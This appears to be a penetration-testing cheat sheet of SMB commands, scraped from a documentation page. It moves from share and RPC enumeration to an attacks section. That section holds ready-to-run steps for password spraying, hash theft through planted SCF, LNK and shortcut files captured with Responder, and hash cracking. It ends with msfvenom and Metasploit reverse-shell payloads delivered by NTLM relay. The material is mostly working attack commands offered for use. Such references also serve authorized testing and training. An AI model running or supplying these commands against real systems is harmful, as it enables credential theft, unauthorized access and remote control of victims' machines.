Basic Commands
SMBMap
Copy smbmap -H 10.10.10.10
Copy smbmap -H 10.10.10.10 -r share1
Copy smbmap -H 10.10.10.10 --download "share1\file1"
Copy smbmap -H 10.10.10.10 --upload file1 "share1\file1" SMBClient
Copy smbclient -N -L //10.10.10.10
Copy smbclient -U user //10.129.42.253/share1
Copy smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget * RPC
Copy # NULL session
rpcclient -U -N "" 10.10.10.10
Copy enumalsgroups builtin
Copy # create user
createdomuser user1
# set new password
setuserinfo2 user1 24 'Pass123!'
Copy netshareadd "C:\Windows" "Windows" 10 "Share1"
Copy setuserinfo2 <USER> 23 'ComplexP4ssw0rd!'
# or
chgpasswd3 <USER> <OLD-PASS> <NEW-PASS>
Copy $ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.24
msf6 auxiliary(scanner/smb/smb_version) > run Operations
Copy sudo nmap -sV -p 139,445 -script smb* 10.10.10.10
Copy sudo mount -t cifs //10.10.10.10/share1 /mnt
Copy sudo mount -t cifs -o username=<USER>,password=<PASS> //<TARGET-IP>/"<SHARE>" <PATH-TO-MOUNT>
Copy smbcacls -N '//10.10.10.10/share1' /dir1
Copy $ for i in $(ls); do echo $i; smbcacls -N '//10.10.10.103/share1' /dir1/$i ; done
Copy impacket-smbserver -smb2support share . -username test -password tes
Copy net use x: \\10.10.14.4\share /USER:test test Other
Copy /opt/enum4linux-ng/enum4linux-ng.py 172.16.10.3 -A
Copy /opt/impacket/examples/samrdump.py 172.16.10.3
Copy msf6 > useuse auxiliary/scanner/smb/smb_version
Copy msf6 > useuse auxiliary/scanner/smb/smb_login Attacks
Passwords
Copy hydra -L user.list -P password.list smb://172.16.10.3
Copy nxc smb 172.16.10.3 -u users.lst -p Password123! --continue-on-success
Copy nxc smb 172.16.10.3 -u users.lst -p Password123! --continue-on-success --local-auth Hashes
All described methods (SCF, LNL, SC) require WRITE access to a share/directory.
If WRITE access is only available within a READABLE share, the process must be done manually.
Share permissions can be configured to only allow folders to be created, not files; nxc will flag WRITE access in those cases.
For stealing the hash, the user must only browse the share, not interact with the file . Finally, the Metasploit's auxiliary/server/capture/smb module can be used instead of Responder.
SCF
If WRITE access to the Users share is available.
Copy nxc smb <TARGET-IP> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<SMB-SERVER-IP>
Copy sudo responder -I tun0
Copy nxc smb <TARGET-IP> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<SMB-SERVER-IP> CLEANUP=True
Copy [Shell]
Command=2
IconFile=\\10.10.10.10\share\test.io
[Taskbar]
Command=ToggleDesktop
Copy sudo responder -I tun0
Copy sudo cp example.scf SMB/Users/WritableDir LNK
Copy nxc smb 172.16.10.3 -u user1 -p user1_pass -M slinky -o SERVER=10.10.10.10 NAME=README
Copy sudo responder -I tun0
Copy nxc smb 172.16.10.3 -u user1 -p user1_pass -M slinky -o NAME=README CLEANUP=YES SC
Copy nxc smb 172.16.10.3 -u user1 -p user1_pass -M drop-sc -o URL=\\\\2.2.2.2\\secret SHARE=share1 FILENAME=README
Copy sudo responder -I tun0
Copy nxc smb 172.16.10.3 -u user1 -p user1_pass -M drop-sc -o CLEANUP=True FILENAME=README Once a hash is obtained it can be cracked or relayed.
Copy hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou NTLM Relay
Copy nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
Copy msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=5555 -f exe > shell.exe
Copy sudo impacket-ntlmrelayx.py -h relay.txt -e ./shell.exe
Copy msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 5555
msf6 exploit(multi/handler) > exploit
Copy meterpreter > ps
meterpreter > migrate <PID>
Copy nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
Copy msf6 > use exploit/windows/smb/smb_relay
msf6 exploit(windows/smb/smb_relay) > set relay_targets
msf6 exploit(windows/smb/smb_relay) > set srvhost 172.16.10.3
msf6 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_relay) > set LHOST 10.10.10.10
msf6 exploit(windows/smb/smb_relay) > exploit
Copy nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
Copy sudo impacket-ntlmrelayx.py -tf relay.txt -smb2support --no-http Resources
